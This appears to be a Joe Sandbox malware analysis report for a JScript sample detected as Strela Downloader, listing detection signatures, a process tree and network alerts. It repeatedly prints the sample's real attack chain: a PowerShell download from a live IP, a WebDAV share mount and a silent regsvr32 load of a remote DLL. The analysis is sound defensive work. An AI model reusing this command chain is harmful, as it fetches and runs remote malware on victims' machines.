Edit tour

Windows Analysis Report
1713990941768710675.js

Overview

General Information

Sample name:	1713990941768710675.js
Analysis ID:	1588008
MD5:	5646dee718d2ddc052cb745ce916ee10
SHA1:	b8cd2fa36d6f928f1cce46241ff2faee2640af0c
SHA256:	cd7477c37ffa9aa58515fbfa743c7cda2938d6e925d513440643dffd26ebc692
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4568 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6980 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7100 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6468 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2755132955341686743,16738015036419751456,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 940 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6532 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4568	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7100, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7100, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ProcessId: 4568, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6532, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ProcessId: 6980, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ProcessId: 6980, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ProcessId: 6980, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ProcessId: 6980, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ProcessId: 6980, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ProcessId: 4568, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7100, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 940, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6532, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3924, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 940, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6532, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll, ProcessId: 6980, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:29:28.709765+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:29:25.866721+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1713990941768710675.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1713990941768710675.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:29:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:64872 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

